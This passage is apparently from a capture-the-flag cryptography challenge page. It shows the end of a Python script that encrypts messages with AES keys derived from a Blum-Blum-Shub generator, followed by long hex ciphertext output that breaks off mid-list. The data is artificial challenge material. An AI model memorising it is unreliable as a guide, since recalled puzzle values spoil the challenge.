    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">self, msg</span>):</span>
        out = self.gen_output()
        key = sha256(out.encode()).digest()
        iv = os.urandom(<span class="hljs-number">16</span>)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        <span class="hljs-keyword">return</span> (iv.hex(), cipher.encrypt(pad(msg.encode(), <span class="hljs-number">16</span>)).hex())

encryptor = BBS(<span class="hljs-number">512</span>, <span class="hljs-number">256</span>)

enc_messages = []
<span class="hljs-keyword">for</span> msg <span class="hljs-keyword">in</span> MESSAGES:
    enc_messages.append([encryptor.encrypt(msg) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>)])

enc_flag = AES.new(KEY, AES.MODE_ECB).encrypt(pad(FLAG, <span class="hljs-number">16</span>))

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    f.write(<span class="hljs-string">f'<span class="hljs-subst">{enc_messages}</span>\n'</span>)
    f.write(<span class="hljs-string">f'<span class="hljs-subst">{enc_flag.hex()}</span>\n'</span>)
</code></pre>
<ul>
<li>output.txt</li>
</ul>
<pre><code class="lang-solidity">[[(<span class="hljs-string">'d5370c7ba807cdf4dd3d35cb533c526e'</span>, <span class="hljs-string">'659ada040f8d9e4d9d5f621d992c3ec04e0137232d0a011835aa188f3531f17632574c8d431d179786f7215c5668bdaacd23823ad319e5a4d836aeada0e5cb4a2804a59f3856ec998dd59ad3d225e76b94cf0987032db19369280a913a3c3277515550065b2bbd87eee52e58519746210823cdaf6a6fb29b67b0da457fa9bb960eec472689602c43505c57ef73567e68f2859d4c04c1045a89052f3f6907eaa1992e8e7a4d0100981d01dbf2bb6edc1a8ed195866fe49be41ae76b9ec1a220a125eb4416ef69567b4c2b65e49af0d7f6f7f2dc0b5753f6eeb3c1a5317705b466bcba6930b8aa7d9b8c1f40590a367f444cb3851cec7c5f60a47144fd204bf361a90f068b11fcf396623d64a4281c990a1aa7715da7c11db69d5c675c6b02485ccb49355135f0038ff0937e589538f910eda2546d17b4f276a3ceaec40d2dd0edf02141ab14183232e8a255c686ddda4790638c472828c4380eef9b32d9bfc242c27fcee9ae296d85e6d12e8949537a62be2f2a39ab76d72e48137d6d412a7633df1d297ea9d3e45a440fd8b1b402305ca2aad97109595648721af60a50751d2d8b27759a763f86ad9dd73a35ee33c945c0ab807b1dcb45fe939bc665f5ba457687ef24bbbcc887a2bf0aaeac06781c4c1b1ae0465f53cf83d3ce0b7b85e2cfdef5edaa9c3a3e300deb76210a01516d7fa9543ce0567e50cd9b0d5ba5309d81b7'</span>), (<span class="hljs-string">'82ed475a8f9538fd70e4ff7626615c8f'</span>, <span class="hljs-string">'0e9119fedc117201d1bccbe294bbc71e1645fcab24a1b345a7fb926a9d0f09337a108b8c41fc53810dd1834c814edffbb816cdb3b1d1eee9984cdd9983604f39ac0d766b96ddafe70c2c20d5a4aef689afba4c9bc294498b8beff984fcffdfe6019b1a160fd78e9cb30940df2a9f29454162f7e3cbbbab95bee8b0fe334ff67742019ee406045f856df897db31eaa73e117464d755bcee4dc5ff36088d4d088c96f80142fcf62c3fb2253f449ed5094eafbf91a23b1a95ed3ed7456d2bf73bbc4a74a339e1e9b3da0836e05c117ab15b9248d946ab07da2021d4ad2b2ac1323632316735c827caffb7c886b9da3e3d4ccfb37b7d00b224cd32f57f6ea047492086bea2e9fbf80ed33714600e620aea773fe3cde7dc3d1032c32cca39d64cb87ab12344fdf7746e50564fa7b6b981f1c7b8ae85ac843d60bca27b12b82828e13368d0feadb42b30a6997dfc2cc8c636167e0c200d21e38a6210c43218cf8ae4c5e5263e2251e7288e71b8b3db439ee03af7821d2f8866200d5aaa30b7daa0bf4ccfb59eb83f6a3564591715a6410a5bd6b0ef541f3a77adacbf4bf7d049ca1176bd6efedfe87907c08037c5588cdf487f9a21d6a26ecbfada7193c734e486a959df20a2c91b47bdeec55953ba0258ad31095d0281b9a7278971e6525be049fcd42c261fe9f57490a39d9c3a216d1dc376b09a522900867733bd92f5dd503a1da3'</span>), (<span class="hljs-string">'be222d2efdc80a1a23e8b8088f1e1473'</span>, <span class="hljs-string">'d0244077eead4271ca8cc7fd30a60c282b89bc622f17803c5976f52ffe353d236c2b483a347425bef8403a0b415065f20d78fac48e99f48e1cc7b3a4302595792a9e96bff33129fd550240603862925e0a4f319e148eb202c7c61a97cfefb0aa5a7402d664ca64f4c83a9f6de7702f148b040c1c749e03ae6f1265d103b24f66eba3dbadbed573d9c504af84af42cbe8be23b9f6fcd61a942372362c23fae7d2beecdf7ab7ae5df92155f056fa052e292ef12e89aeb2c4ef1ece0b7cc573a1fbc03b61024ab1dccde03047a97d6b126a39d378dc764817d6b5c4a32f0d90e7bc7e591ffc368fea0253b45aae4ebb3c588d2491ecd639cf34b952ca2aa3e1d9d2f4601ef0a30aba377fe37508c092654f5e447d009a53fbb101b43b9a4b30eeafaf7211b22cfece5b735f93ad484fe0367564ddf46b72baba913643a16196224545086c8590ee6aa4a4ed464a84de0154db3542446ad0a442e2bc2335b5757633ded5a8fd74528df391f138bf27dfa2a1602f9462127c13531823acebdb2329751e7fec1a55a09d61b5f74a432c4f6e8bac71e164e790a2dc076ff44de549c3d051bed4a0e94fa703dca0d26b799e47088ff04605d9e77e0e7c10f815535393c4b9c2a2147b7fb65af99e466e221f3c00927d34a3efbacd381c312628fc9dac3b9bb151337c7251923f31b97e66a3713ef3ab6d2bae8c11434b8aa76565224215'</span>), (<span class="hljs-string">'0e9aba891fbef039ebe7c5de133abaa2'</span>, <span class="hljs-string">'8695eb90e9ffe9774171301237475542a55f437d94e98e80329567a08815a60fdbd6160ff93df18a4af74ab864f92c9d5aa5fe39b8fefb26b14f265ace787a28b9b27e41bb40f6aac23b4658dce858b6d051f3cb87a6ab1ab48bef6f86096cf17dbc552adc6bba62aa08bd4fc54c6274a355cce99968d0f29fccc4da9238db451623dd6b9ab1777ed43f7c457281f00bf1b8560fee1ee39e8b9e858ca3d7c974e877ae6962af0a2d182735b6f5205ffe2465019eb56edcb6ad98b02647e5385e16a7517a23dd4606c6305b593e34acb801bf9b2c27c126cb916ed84b352a858ddeee4dccab256bdddf59162c5d541a4e6525d44686bdc3a4c34b42c874ebaf32bf2107aa2ba819a92945c5542d2a61cc7871cc6a6f82f5069143f7ad0e605685eb010070c0bb9c54162cb65c1123bcce90839aa22633dcbff76b747b98ea926e1dd8d4438649690212e2170db6fae6d52934f2479f77c12ee5f29f3165b26c3c69979e0d3581bdfe2f35de94c18bc707d8bcdfee24e9602ed289474fc6f453d1d89581b3b4abeaecff51e70a3132c79486338bf8d766e08a72207cf02e166bd7c0831fff5367565b3a0ec8e361b0fdd241c33ed4a492971171e29c0b3b69dad4c2c65b2b91353b4a0de669f196efc67aef5edac99b370f78ae2af181c25a4b318ebfcc7f217b9c70dbad81c472267fd95cbdccd4a5922f564035f437a5d0d3c0'</span>), (<span class="hljs-string">'be7dff01a5ba39c286ceab3161de8cb7'</span>, <span class="hljs-string">'cd0db3bd2c54bff8628ee15fee2de935326b333f13c3544523bf939e5f0e875d19282717f858b054fd7379c1e5e25e56d39eade7aaef15e8b091336156466937cf33112a1fe73c151891cfa76854efd9cd9c7722d12cea7eb6884fe7ecd34deb0f50109143a64448cc06f6f936167469521077a991f716d9f42e529c59f9c31dced0a1b6dcc1557db2d4e95cf0f3823d1bef30d84dee5c6f73a085d0ea2e8c48bfa39986f403eb86c8e4756d79be20dd7f9d9155c13b6c8524c6af0c8ad42ff29d8fa05a530231efcc7870c4ecabc3ab6468ba01e61894b3b26feb4055f65d9aa6477af4dc26cb9a08a393bc66a0a0a153d8fdd6231c09dc6a73961b5520b71ec85db6bc6991c45531c66f9e198b8ed7a3ffba0c3315bd967884fc95ab88798be51c9fb10bcab04615ae632796085d15295a3979554f35412a3e976ebe5f7fd46719bf1ed8b324b3e168265799e475dc778bb93843f0a8087735a65aac076610b7023e0c0ca0b411ad9295751496e24c0a490ba35c245f34f960c5d8923433737ed340fabaad92b08768384b56a468aad69a9941d295f15956a9b4a13d564adec73447715b5e69dd342fe8f9d121d2725f729a9d719a1d9d098a9eb163e48d927f7a2d4b81671c297d874a83556998578657ae3b6574ebcf47c481c841b14768acffc759a7382c6184456d7f1312fef990fc9cc0078919c0cf4d00df12f31c99'</span>), (<span class="hljs-string">'fab5094c91fbb6cc225bd640e7d62d74'</span>, <span class="hljs-string">'11c58d4db6229c9ee42db7f0188fb907b79d1a2e1ad825113d7cccda7792319853cc4d543862c7e55a3b804da3424850bafcf3f13e6f35f8071b112c0863bbf3d382ecaea81a58a41a542a0fb78544a276e5b91db774fbd0ef86cbb423cf1e4cf4e9ab4bcfb38658c6cd66672824c6d9d8d9b5f17564d889600a8819027c345ddf61376ba8a05da7e33bbf2acb619533c43b950622f5a984384191c9b1628bb760968a6c71534b94c1615849b25b6903f16045b206258fd627ababaff252b263c16f3b4ff6c1f2f0160b55d9d6e0c38a7ef509ef8f66184f099ca1efaf0fa9986181741712a0d5ce6f985012acc94e337fc31ef2d89cca49daa5a4573257c22f0b6be2f726af13adb518e1c549beb4e0b32d4126aa82714f73895b7651cbecce3348f1afb7a7d9a8a4e3ee2fbda4d441b88f75fcba25c64960cb7c898870ffb96dcf1f244b45cc89dbbca6ab0f20fbfdf11e8b00b0769d3b947eb61ad6f0c8b68491fef5d29f16e1a0b2f20bed46f0b316adec255143266b322033481b370fe7ddbcfd1abae4dbdd05b6b3b2d24378e81012bbccaac6cbdb38f48e7ac573a260503c98fe181be01a00cce2fceccdd132a3c68f8e4b385b98fe4c5e8033f1db12cc4beaa79b92fa330c238c79c666ba35bee5b4c5477df3aff2ef45ff847592fad6e811953edbcac90ff409a65a8bdc5122224e9a9358c66f6a102504838a37f5'</span>), (<span class="hljs-string">'e903df76c8ccce9cd06cfa87c6835e2a'</span>, <span class="hljs-string">'c88143698c599edf490f135a310b4f045c7bb3d4472cb731d676684206f5b140a5b36d75624f3dff0fde7d44ebb49514f8c59f4ec0e7db95f2746f3071503d72a39bc122193b455ea232e52a5946444c5b8104ce2fd94078ce8710dfe5e628e5fcdeae1e717a1cad1f3a4a475228b6cc6fef7840936de98e8e370acc7f15145568efbe84a5541a88e9298bcf4cf3a0f12622c6c2f843209b15c153beeebc6e340b6c971a9e08d6c34087e37aebcb2a2765371d6e9328b381ca7c0af0f17333e08952a136edbcb921f3b5970296f4bb9cbba68740bbfcc6bfaabee26741ce4b73478fca00657a41ef60a34f374a77b2dbb026c34ebb4d9a98fbd4de10af9c37613e71cdb450deb91d2a9fd64b928600ad1935bb3fdd53727ee55d3ffce7f760fde247104a5194faeb4e071c55f312d4eaf3f13af4a8cbe4ca05acc6884079d7ecc284a7dcaba2cdf7e6f957d05f1dc28043c29f764aa960e759ce4dd7663696c423cbca8f0caf428efd47db010ed1b905b066fd3004cffe291cfa73a15954533a835f5a2dbc1a13cda4cd2a74ce5ebdec8d64d752c347fe82450823f68b2b28a0178b110bc0c8fcf05122b9ece61b0a4347c1b998215aeb62a41ed5de9eef3b388390d7f8eaadeae04e810675a1f5acb492cec2e9d1eeada22c4b0c10b46b93777d120e44d8462e3fbabcf9d5ab394d2930096416c77e2bbddd06842d4289e76b'</span>), (<span class="hljs-string">'fada1c6a7540ff4d6f188c3e7c98a6d1'</span>, <span class="hljs-string">'ba1891b249c3da8cb69b7ceb174e48f549e3f5b5e956d30467a7cf32caf9f0f73c1194c352ddcbab2e1d355a3c4697ec5eecf5a27c39cc35dc76586dfdf415e29d44608fa047ede4b2c8474289c99d5fa5b02361f34ab2966cd60e6871ffffc5af9f70619452a76dc8683df8dc6f01cf4e6289fa6d41537e55652714a2035bfdbcac78731480f770ac437192987e09637085e04c4367fe6bd3c6c377ad3ed0c219ad250eb70d5160b1f8a91856e85c2b1c79953e242b67e1094727d737cff6de4ea7f4f8b37ce3c55cf16c608590379e842a358d2da6b3eb7f2a4f934f837d065ae403f2895e1f65bd8cc7ecf86dcd8af534d0a241aa2ee62cf0b39bb20c70cc9bc81992a57aef161503afd5b4e69f63b8d5278f5c15a88cd7c123e3137d44bf547c0afc1b0335364540c45a72c52d47ae87ad4352d1df79fdf1da0e7f6005cdacf03c9d60959a487d8793ba85140466e2272f099aed38ac91a3af1ff8b4b90b2e3db2be9b312b9d625f457ddc7b2e2ba191e5047198e9672c611c0b87c8a3804d90e7de62875b57371ce2087003bdea6712ccabe61a30390557def689cab432fa7c466e179511584d35da4ab9469f64e4a01ab4e88f3b3e142209e4da3e4f008cbe572fd9a387378d363de07f527b0fcee92d03ea11ac7aa4784972ebb50cc26078ff65844959eb240cb05a437a6971543eecb9962daaf322aa239b2e22b749'</span>), (<span class="hljs-string">'7ba3d76aa59f6be4e0f3540b532d8fb1'</span>, <span class="hljs-string">'8d087bc32a81e604fd9b0ad757816e6b5d7417d7a1970eceb8646b0b70a067276ffb15bcc09bc561ee719fdb26ac5cf4457e21b362cf26ea915630a0d3974e61574fb09efe854be7a0609893af8e423c93fe7b3596181706cc1267e911d07af0bd21c64b0fba727695a288174b8f8fce9d8bb77f8447acde7fbaaeb96add55521d00b5df7455c2a93c309334e3947a013e33bcf44a8ad8b7024b77c150146db665a5e9019b059fa741932a1811903fcc02bbd63b7082355cfdb68ec3ea2fb5a5843c34b7db70c70c33e5753e7aac23843e71d910480a3d3209a0ff21fed2101d0629b4cf540ac59761b5fe758f645d5fc1ebe80217000e53bc752a416e44b08feec70095a2f5a113429f2a8e18afb175f0b507d7233229501b788c93fbb5332c5549e6e2eef760bf2035299c5069a9e6c6f3aeb7f171c539c6d78ca84519c8bd9f545077ba4b347437352810b7dab5bea91472e684a128dd38dee423af05b4415c09b04a2d17fe91786a2b0c034c970d1d01e66e669444709da00ae5c56b74594bb6a4e2c15ace8d98ea53d9476fd35952b956ba18581d07695f0ad48266b8f3bc8a42fb8c20fbc1a5ff73b85431d0e6350624e4b4a92b598a6949acb1bf7e16cb9f6d5475a8ec17b0652363ca189f28b7a668c3f1c56057cd41b9f0322930db666789d93a5ef47a3816bd2f02d977c60dd9b72ca8e41f4ca0f0c00b625ef79b'</span>), (<span class="hljs-string">'a74569b8b368c959d2986b41b5bed7d4'</span>, <span class="hljs-string">'af053b9f202031131d9119867089dc50f0d21ca6a7715fe76f5804b60d9c0a84127e169719c18edfc32ab1c5e59da61c0a75720426d6ad8c7a9ee73a24a5fb537527032b04be4668823364c555369ed9c9efcb6a2bdaa5c4c2754ae4ba6336865ba899229ac7b48dd9dfc4a3d1518625eba0488a76cec69a19fcb31c361dff833310c5e3d791c3885ac53b24b5ffb92353cbeaaf34c1b8324e84cb31c3769c7eae6432cac1d3ff53fd597af46f5c8806cc66a2b206033660b4c808b836411f6893678224d4a096de013ada1731138a67c6b9acacba73752266ec91aba06fdb322e19aeb9498dcdcb5eba768f6441e9c4709fd4b6ea1626dd7443e6a8fe562d66ffa47c337137acd9109ae3f267b123b24a8fa7d288a9f57a885c1361035c7d0eda0e2b72371e1301a0cb001ef63d2d825ffb24a354935339fe147c7d13c853cbd554015857e1f65d91b798c948404201eaa486d014d976ca5bb9dcc3b8f1415217988c8b80fda150e836d3564515cf2b48998f14dbeae202f76835b40e925179c1c974a02d9d5ef221b484e0a0cf2f12b101bdc7a34903e969175760a505ec5a760ccfa60a4a78f2146cd5b08c77673457c3fa28338bd44b808f25e1b1160c480bca739d63577577ea8de0dd0ffa1dc076d9b7dabf0f2a27b5303b7aa618c03cb0e2b6ed86f790187a3b8aa83ea4a3ffc46d0787ff73bd1c0d1b8121aa914f58'</span>)], [(<span class="hljs-string">'994218d2f5b7f8672d717eb4b89b2e20'</span>, <span class="hljs-string">'cddd35e945daebb0916317465d8c2204e9884caa749d2c9e30c25698fed3888125f438bdfcf045085fa6fa1b4a2286556ad7a719ab50fd2efadd926b46122f698974682e99bd548bd9233591572e16e52a2de330339e8d4614b3a361198ae90abd234d4aca79ba9633dd1eecad53122a28207b72112f85001faa4cb2d32d29fd997a5187bc9596f7ada608909ae3cad66c03ae2a1429a7d21416f4fc5008fc3fb95531e6b47956308b9baafe59abd7252f5cd9e6f24f02452ed9bf7acd7af1781871bd34803eaea00351be69609b131857172a1ee44f75c4a34663a8cb3ae193c2c8a5a1e8fe4e6f6de52d8dabdd1cab6cf636856fc40d521a5170aa27b160932b0a960de261560b3f44f3ae2d905581cda9adaa0c5884939cbcb100409ffc2d6525b56a6afd53d5c94ba283292989863273b08dd2e77274aecf18a17aaf9aa958bc9aafefe75663358717071d9ce2fa57cfe40f47327cb60b63297958908a67ee474c695988731157a58f6862fdcaf73f29e12d289373389da725cb88d301b22fbbd737c87e9220f8d8cf9318d812b0501ff2c5ae01dfe50021fc45af982b804c67d3948b4ba7a54e4a76de102164384de390692bf3f8c61769ddfaef3e0591610620c7c7745b99d74c714302ee976d865445af99ebfe1da1cde3887679b92edcc4146a50951538135bc0dc64676434'</span>), (<span class="hljs-string">'c21792da2deb8b4aa203e157e8af7d37'</span>, <span class="hljs-string">'3cb9b8b918c6c24ab45fcad36896f90669523e058323c077b3548f5d5f9dc715c1aee582c5ae1b093c4799b0bcfcc3cceb6ed1ae858a097e4806749eb69024df9069582ef765934ef176b9c47485083fad0466591b3c461fe9f7d871d40c65c1b20867ea4bc70439d49453f02fc73a80bd46caad26adfb2737b469671b0866213cacb09881e340ce78a1de622400af9721c74e9d4315026a49f1537b05d877eee33a8b5f734dc1944ed67d9a6f6e88a9d4540b06bf404e2a61be7fbf708dc252fa1a14f4284bf7bda57c832d68f7d4ec6e06674863fcb80af035a7ab77219c87ecf5891b1ae287b77776f3f5bec81161f3ef33f47c78b4c84d8d57e8f95218525f94b478b74aff479647df3063f750df10208fee2eb19bdb0f6131bd6a6cb49e6ae83b14d8a29aec7476ca6bd94fd54b3b55b1ea15b5b6d96e201f15060df50d2c1ee3ac67892c5bbf230a187248b5722cab72072c960588066914df55dcb5e36d472a1fc2c88a38bded6ce693375f9d2048aea3a6b85a3a03a7d8fb4b21c39beed5d4ada1202ff4da99d10f17ae2a699e45f12493f0840e736e2a6f228a255abf47b3aaa11ef13f73d26a3f2218e140ab54cf390932d710c1eaad10be3847408e55d56dd9ef1b5c12d53455c3720284d3bb77b16a71c82f62de1c69744a2108ee2ab5407f563ca68efafb66182932bb'</span>), (<span class="hljs-string">'95ef92d52db7cbc0d9a1ca0654e15e44'</span>, <span class="hljs-string">'ac948a3859382b32ab468cefb80804db1639b7b8527b03cb3ee4e68f83b96c41dd40bab4508231dafaf40375e6c5e2c3418396e7eb18b32428fa4dc93fe0037b08c3800f72210fa4c59a129790bfaa853a83f5eee54e26b0cf3946bd5fde2701cc6251472f53ba37d5d34d53d3caf2af78fc35974b3dd4c71df10ee4ace821ff3f8460597e5299fb9ebd4c6bbb5193a248b80c42b001bc34477989d496eb32072f141679eac5e587d3ca11fa4d7c9fd55c3e076827ed8777970f608386e7f8e85035d5f3a7fe677ade24e2990d1a09bd6ee246c95bc3925ef8ea8c0c369111ff238aa87d68171b41f382f6c6f13128942d22fd232c6984f08369b954a92f18bc1764e0c6f48322bb6b0a4a354ec08914b73bdb8002024fe8a9d8c03440b1326d6ab04e41b3771904ae6f875a33962490ea4c24d65796b9dd4341740b8ef57bf144b8151f598d3b924532a7e5c582a564fee2dc515aee8f0996a2103047ccd70483007b3c1bd60a3a0780069e0b3aa2d3e33e6b6a778c874ac7382f12f45e82abfc5e8dcd0da565336d96199dfb55358f57a3a7b675beba721c781290a1b75a3e81ff79bb66ce97adf57e07165989661d49c8f99a962e0061470c1f9f12dcfd6cdb054b74da23a7fdd6dcd7c19913c40040b4c7231195bf1b3454c59d541cebfabb3ff96fc8c09cb383c37d8cac8a7026'</span>), (<span class="hljs-string">'30540b906f3fc72458264fec14411bfa'</span>, <span class="hljs-string">'1d8f7a85b78c811ced76ac282444021f189700092e167fb751f47e07b2721f918e60d9d6f99d84997578261e7aa6aad17e7f0e654f7f33ae5f49b4f146ade06fd06e222d1ad0c909e0f3940042f5d01742bab8a3a3c90cb9c912c71f0e10983b7f2923b3070f6ef4d49ecfdab11757abe1c6238c112ab71fb4570ca3b574ff0790c4be1a41b37e7bc74cca137e23697c6f89eb95f5fbda4b8efdfa0dbe1900b3fb60b524a7d4808477cd391e66fb8afbfbb1a2742237700f555e3bbc79fc44dc79e1a7dece315e37280328b8c93a110d56d2a4978a644db8c24018252c384b7bcb5fd732e48ceb89c937114ee64fc380d0c5602d813c1b78f5f60811c92e5e98162e943336e6d216629724acb4d2d3be32fd7f83dbae2239b2bf3944499abc7f1e262a3f384be75effab8df43a181a5a87787f1e05914fae9826d11606bae3cf1d7573da4835ad2c3c12f1f50d3352c0a646c3e515cba755d9711f2c70779a9da950474b445f33ed0c36125d2b9c82a70749fc342be839e1665c609f679bd2d7a78c65b142a0bd2a2a7660752c1c895c4e5b88e90959ced4210dacf38e8646afad88b9ca5af52cebe75f025b1b527bd3401d060cf039a43b7e5a896174ae158ad7d7607761be4bab8760f573565e1a147cb7ed80b4fa8253e09c2b79d5592ac5d1ddde3e5dcbc2d8e0cd7161306f4c7d'</span>), (<span class="hljs-string">'1d20ed96564d823c1bfdd68eefe1a8cb'</span>, <span class="hljs-string">'0085ab5b06bd4550d451a23068c8d5205dc80679c7fd75e958ba785022ebad73b35b661ea726b301a8fb58e5e2e156d282765f66f3891b9ed571c73c9cb390d9fa818da34c54f4e6d90bb6f38e255fe55a79e04e41312a2c31ae603bfbcdd157e8b1dc24f9333e36b242d1a93bb828ddae178fcccd5af81453c0688a094b76519bdc1f1b0a84001572b053e1f0647a3d2984c785df6d2520839598edaddfcefda49c3fd96c3ef82f42e60c9b849be0afcb19047ed7a85d69198573c255022d97b40c121a84beeea1b78b6bf26086cf06666711df206560f0ec4b4d0265a4db19f3b8814b1b54d24a8631fbc83f94613bcc28aa8b1730e487fe7275c48d6e3456b75b2e0e7e4f24c9e6cf2d97e8ece5d909f83f1d4c3b43fd3269a2bf65aaaa85a159c660235c549715bccbc41d2708fd690da640a10b297d50d0ad7fb0996ad4d7266f7bdeee21ec225e0fdcdd013561c5d4d3122200eecdeaf8cf13a8a2583111c9ff74244dd63bb8ca0b6c580d38e36477740401f29c5e4a3b51ba06eddcac7c7ea004d67be49fc39eea4400e4e82395c47715c824207bc1d81b919a9f990ef4c83ecb457ed411173604be9f5be6e54b1f1985e31e2eb4a654173a38b92341c8ef82cef3760f2d04961c7f056a3a4c4ab0c4d752e56d7d301efb4f8b7fa01bf9b813dff03391bc70577815c88e077d'</span>), (<span class="hljs-string">'2566fc6e0531677b58f2af04e2da2e18'</span>, <span class="hljs-string">'c52249944d5c671b5f064ef8d345e7f7abfaa9eac847fc2657fdd4112edfe490580bc5c2812f864ccc5c5e1804aac24bbba5a2bba1a93c300afb3877e97a29fad0ff6434b3651f63950c2a996a729dfbebc6ea7f72e76c9d4252a8fb39b21296fc2d90f911cb2fb1f9dd02e71ba8b941ce5d2ce40b4f5c31d56f04caf84f238c41b543b49ac563f2a92a84f7a2f26a895c1ef014edf9cb9e41ee12c4b5e1d0a3e3499e59c007e8339a38f2af8aeb7e2bc86e401f7a86272546f2d46638c0fd826ebce2ca1b5a667ca2fc2b499cb8418e208ea74f9e534fd8c235cccddd83c158623c8712a379fb52abd9d9a41309f57fc3e0887d52e14b072acd8abb7e227bd97fed58574a360217616fae7d02b60a3e5644cff84a55ff9d7f70193a2fb2e7bd29e3759fc1ea47948ab6e1ac3e1941fd56c2a817855de3cfd7f95571afbccf4d169313d1a3bc18a89b48f1a0a059f39e9a80eab90afc4a5708a41916672a4eed8ff1d92ec43a46fb83db47f0ba662ca7c3fdd16b18ad4898a158f563d6384edd08236035a70d5eca884187058597055e8aa9514399f3f8e108a52e7fcf3bda4c780100a86b16a77f145030d67955256781d5fe994c3f66aaa430d0d1fa6dd01e9f5e27590615bb845694f2322fb833588f7c9a86448f303831d024fab302f4b9c4f73eca66c801f0dfbb3c83d6509508'</span>), (<span class="hljs-string">'8012bca9c9ebdeef25b1a816bd4ee9e9'</span>, <span class="hljs-string">'abbbbe687598dc10daa1d0e42e12d56254d740a14c092900f11c97d4e64b12b3dd07dd7a9056df89622341e21cc2a8e1f0d47d208b9e10a5c59fb2019f2209bad78718e31863d06513659a0de3f8826c54d0fae2e0f346cea6c6fdbf3a4597680cfdbfdfce3778193b984f305b4e94954b00f8df6d816b7094c016a26386a94e2cc1c97cc53e974ae72777dba1f21d02d94ab14975accb7b60669f1b95e73549668930c0972678b9ee02a0c6c6b035f8520b8383248fbc12e0903d14824e128a01a6e0feb3d93acdaa56ac777c4c4ef3f55e2bd63e9d549c88e0cc193e5d8d38f4de868ab708a7047b0d8fb561eff726a9193d10be009ec2985a7de5211d00decfbd5ca6b4ddc3d7d82ff64d69405bf04faaef5ba463af446c4fab05b93e0e04b33a03fc64d05a58319f1f5bc225ac55c688c0699ccdb6a2b527a97b703e1b61b369cd769b6f3aa71cfdae4fb6fa48fd965e9e01ede4a2c9326bab15b83297515294ee238cbe598e7c0b4cec734e6aae9f21d00e5abc33b3009d145c2b5538b241e806c6bc33ca7b4716a6c2c22625f94c7f89dd12f1d9b44036137ef0773d0381fba52884891e1f07c62805ee664bde8e87fb8fddf184db0bf4093244818bf0ab2f615b979f0e964b08495a580bfcd59b23c2bea1314acfee09cbc14702a26c0b7c6c2bce56f6126126d7a276d24b84'</span>), (<span class="hljs-string">'5b5e47ecaa0bc5a39f3020f2465413c6'</span>, <span class="hljs-string">'4b896a92bb56fc8d2554b8a4b2096db910729d35732a6c581c17af33d433972ba5468377583575b961df44d928b6ded0a23fbae587021ec03bd14f15f5bb4e3d677f27709eb4e9b92ef71e043558ba40c91bdc2a1cb2ae8f187ac301a0b051e58a2a5e989b8c4516273e1a5f262b5226d993e448005362e32fa00aaa38f60268c9ae6dd718f81e66d5a995e935553f97abc3e7b37dc994ae3e985b30e802979ab5880d3c51903ed545b68dc95112533a580d33947538c6e501283e01aca9119e36fbc7f613d8420cff5d4495a8c4e8ac4d355b35343d205301f816f5aea1df39dc24be1ac1d4802365b72335e1c6335f1ad92d755d0279fb22175a12d182f0ca7a40375c089365a29cba047f3ca5414120c12899735cc74dda1d949fb578698ce36bd33873c132acc007380bc4507c8eb2e2f6f6e0fa513ff08fcbc4c83f9eb63c97c10be798e08c3007f332653ca2e8bb65971e8d591fa5314f56fa52a3aa134b047d5dbdf53fc92f938e5c95aa82ab1d1df58ac19c45be82c9fe9aa91052d5079c694a7cf6696ba5d2eab2b6e0770462277b28ef8de469b740d32dca5c7728949a5a8632f0c7f546c8ab037d3e9abacdc516522de92ea0af47c673c9ab8c33bd00d198ff78832716c98bbd9b5ecda014c8f0c96219d60b84df893f5f7fb03ef7bfa3c34e499b6d7b593397fe31fcf8'</span>), (<span class="hljs-string">'28b4316cbd0c150c6301cdc12bea32c1'</span>, <span class="hljs-string">'77e621bb9caec5147b257671beceecfbde911f28ae39fb48590072949171ae652a71fd9c464809c386148afe08c48c5e6ec640a9349f4b9bcd8b82f0c9e3afb490b3975605f31df82bbee4e06ded44c265d8c964c1bbdb3bcf4396820244dfa8776ba8ee3a93478e9d7b49c9cd60266770e4af9b64c23afac2d32c9c4a336bac1e51a04113142f19007584294eeef2f24a24cfac379fa01725ec2be37b8163692ebb2ebfcaf75e5285a1eea406f583c4f8ae62165c85bd6dad3b9746c66a929e5722af2dfedd1e215e4f4cd2567a1d438db9c4bd589e43ca4fc7d108c0e9965b40798175ad905e5f59e57b1bed5b9ea75a63a3545847406999f37dd6fb9de9d5d40579d1052da02fa355441bbd9b263f6ee552ab4568d9270734c49d4a68da269dae11b2306d6fdf5f697b6acb765a0eedf6cd9aa38f234b2efbc87f44abb89717e888c0069444ccec5bca72a08673db0ff5e876a3199020700b214871aeb07adb36b2fa0caa4292f3958a7cfe49b49cb85b95554ee80c4e56dc23bba28664c228f57e70dad16240a24287136438a902cd3f3676fc4dcf71fe0ed1e67baaec9f39f1c02d45b3e45f62c0938982d00058f5b83f1f5ee13e33e40e599d5de22b4a85c9eb51e3bf7a3ff1fc553843d062af641e1a6bef6918ddd457fab17ea3ef008e53e060057c520e2ed12c105e41712f'</span>), (<span class="hljs-string">'c7bab984d83b0fb2a252ef74aee3a332'</span>, <span class="hljs-string">'a6c7e498a9a3768f48e79e464999be97e5718f8c31dc4342d16bcf43155d241e6ddb053e55d36a156b14b3de510ae0970136c7e4c8b9cbb4e010691a504ba9a125863af5d4ef701cb4f938c8b732975827bd2c9657c0b1544f4566aaaed61294d6e604a60c88d5e889fbd873b50172355039d19f97af087158a4a637bc7d4383c11b072b2fd3247f948e074f6fef9efe901221189b33975a8ff2b2d5e1921c80614cf51cf22b8156da2777d3ad41abc56c8b84692a8e15d03241e29c2547bba306ec406e29a206b0ca6f1f4f61757d9fc83c86fd413cdc729b8fc4a4cc66ede3879a08a18548ac4eded64eed36006cc499e195b1a1a6512ba3dd760354254a0316d4019b4c8c697053986d84a6371f4db01422396e25ca5d3f1d733bbaab312e1942f14aaf7ed7ab20d464de5e6b20d1ea7ce4e80db75b26939598e416c51a7c8ac82113a3f891fd1bfb8f93258ba1a10db17d2837719b465a0487bf6952cabbef45211b9a636a97b400ca35db248aeee4e8dafffa9931985e3b2a6d5503081a4c2e1fb24268bc62733e50615b764aa0c7ea75912f64692de74a517f2f8477417bf83a3f085d3a3ee5e7ef0cfcb7e1a595ff7f82d277991e5b7b0db6d4bce67c03192374855a16ed5dd8363a923e34ad27af84d0a094adbf020a5c2e460311cfbc9e453a99b13416f486ad88a2716017'</span>)], [(<span class="hljs-string">'a75edbc0dcdb1e6163f2876702ee07f3'</span>, <span 